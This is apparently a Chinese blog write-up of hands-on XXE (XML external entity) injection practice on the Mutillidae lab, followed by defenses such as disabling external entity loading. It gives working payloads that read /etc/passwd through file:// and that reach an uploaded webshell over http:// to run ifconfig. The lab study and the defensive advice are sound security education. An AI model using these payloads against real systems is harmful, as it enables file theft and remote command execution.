一、前言

近期我在 Mutillidae 漏洞靶场完成了 XML 外部实体注入(XXE)完整实操训练,从基础 XML 语法验证、内部实体原理理解,到借助file://协议读取服务器敏感文件、利用http://协议联动 WebShell 实现远程命令执行,完整复现了 XXE 漏洞从发现到深度利用的全过程。 XXE 是 Web 安全领域经典高危漏洞,大量业务系统会采用 XML 传输数据、配置文件解析,多数开发人员忽略 XML 解析器的外部资源加载特性,极易埋下安全隐患。本文结合靶场实操截图,从实验过程、漏洞原理、利用思路、防御手段四个维度分享本次实操学习收获,兼顾理论与落地实操。

二、实验环境与基础功能测试

本次实验靶场访问地址:http://192.168.109.129/mutillidae/index.php?page=xml-validator.php,页面为 XML 在线校验工具,接收用户自定义 XML 文本,解析后输出纯文本内容,是典型存在 XXE 风险的业务场景。

1. 基础 XML 功能验证

首先提交无实体的标准 XML 测试载荷:

<somexml><message>HelloWorld</message></somexml>

页面成功输出Hello World,证明服务端会完整解析 XML 标签并提取标签内文本内容,这是后续漏洞测试的基准对照。

2. 内部实体:理解 XML 实体替换机制

XML 支持 DTD 文档类型定义,可自定义实体变量,也就是内部实体,测试载荷如下:

<!DOCTYPE person [ <!ELEMENT person ANY> <!ENTITY person "Mr Bob"> ]> <somexml><message>Hello World &person;</message></somexml>

提交后页面输出Hello World Mr Bob,服务端自动将&person;实体变量替换为预设字符串。这一步是掌握 XXE 的核心前提:XML 解析器会自动识别并替换实体,若解析器开放外部资源读取权限,就会触发外部实体注入漏洞。

三、XXE 漏洞核心利用实操

1. file 协议读取服务器敏感文件,造成信息泄露

外部实体通过SYSTEM关键字调用外部资源,使用file://本地文件协议读取 Linux 系统核心配置文件/etc/passwd,攻击载荷:

<!DOCTYPE fileEntity [ <!ELEMENT fileEntity ANY> <!ENTITY fileEntity SYSTEM "file:///etc/passwd"> ]> <somexml><message>Hello World &fileEntity;</message></somexml>

提交载荷后,页面直接回显服务器全部用户账号、登录 Shell、权限分组等敏感数据,实现服务器本地文件任意读取。在真实业务中,该漏洞可泄露数据库配置、密钥、源码、隐私日志等核心资料。

2. http 协议联动 WebShell,实现远程代码执行 RCE

XXE 解析器同时支持http://网络协议,可主动发起内网 / 外网 HTTP 请求加载远程页面。若目标服务器已上传 WebShell,可通过外部实体访问后门并执行系统命令,完整载荷:

<!DOCTYPE fileEntity [ <!ELEMENT fileEntity ANY> <!ENTITY fileEntity SYSTEM "http://192.168.109.129/dvwa/hackable/uploads/webshell.php?cmd=/sbin/ifconfig"> ]> <somexml><message>Hello World &fileEntity;</message></somexml>

解析结果直接返回服务器网卡信息、内网 IP、网络流量等ifconfig命令回显,完成远程代码执行。这条利用链足以证明,满足条件时 XXE 漏洞可直接接管服务器权限。

四、漏洞底层原理与拓展攻击手段

  1. 两类实体核心区分
    • 内部实体:仅在当前 DTD 内定义静态字符串,仅做文本替换,无高危安全风险;
    • 外部实体:通过SYSTEM关键字引用本地文件、远程 URL,是 XXE 漏洞的根源。
  2. 拓展高危攻击方式
    • 拒绝服务攻击(Billion Laughs):构造多层嵌套实体,无限膨胀内存占用,直接造成服务器瘫痪;
    • PHP 专属协议包装器:部分 PHP 环境无需上传 WebShell,借助php://filter等协议直接读取网站源码。

五、生产环境可落地防御方案

结合课程理论与靶场实操,整理四层递进式防御方案,开发时优先从根源阻断风险:

  1. 核心防御:彻底禁用 XML 外部实体解析 以 PHP 为例,通过libxml_disable_entity_loader(true);关闭外部实体加载,从底层切断外部资源访问通道;Java、Python 等主流编程语言的 XML 解析库,均需手动关闭 DTD 外部实体支持,这是最有效的防护手段。
  2. 辅助防护:严格过滤用户输入 对前端传入的 XML 原始内容,过滤DOCTYPEENTITYSYSTEM等 DTD 危险关键字,直接拦截包含实体定义的恶意输入。
  3. 工具选型:使用安全成熟的 XML 框架 杜绝自行封装 XML 解析逻辑,选用经过安全审计的成熟第三方库,规避自研代码带来的解析漏洞。
  4. 权限兜底:遵循服务器最小权限原则 Web 服务运行账号仅分配业务必需读写权限,即使存在 XXE 漏洞,攻击者也无法读取/etc/passwd、数据库密钥等高敏感文件。

六、学习总结与实操感悟

本次完整的 XXE 靶场实操,让我跳出纯理论学习,完整走完漏洞识别→载荷构造→多级漏洞利用→权限拓展→防御修复标准渗透测试流程,总结三点实操学习技巧:

  1. 漏洞测试遵循循序渐进思路:基础 XML 校验→内部实体测试→本地文件读取→远程 HTTP 请求,分层判断解析器开放的危险特性;
  2. 精准区分协议使用场景:file://多用于本地文件读取、信息搜集,http://可用于内网探测、联动后门实现命令执行;
  3. 安全防御坚持 “根源阻断优先”,输入过滤仅作为辅助手段,关闭外部实体解析才能从根本消除 XXE 风险。

XXE 漏洞频发的本质,是开发人员低估了 XML 解析器的资源访问能力。当前大量接口、配置模块、文件上传功能都依赖 XML 数据交互,极易埋下安全隐患。经过本次学习,后续项目开发中我会主动审计 XML 解析相关代码,提前规避同类高危漏洞;在渗透测试工作中,也会将 XXE 纳入常规检测清单,全方位提升 Web 应用安全防护水平。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐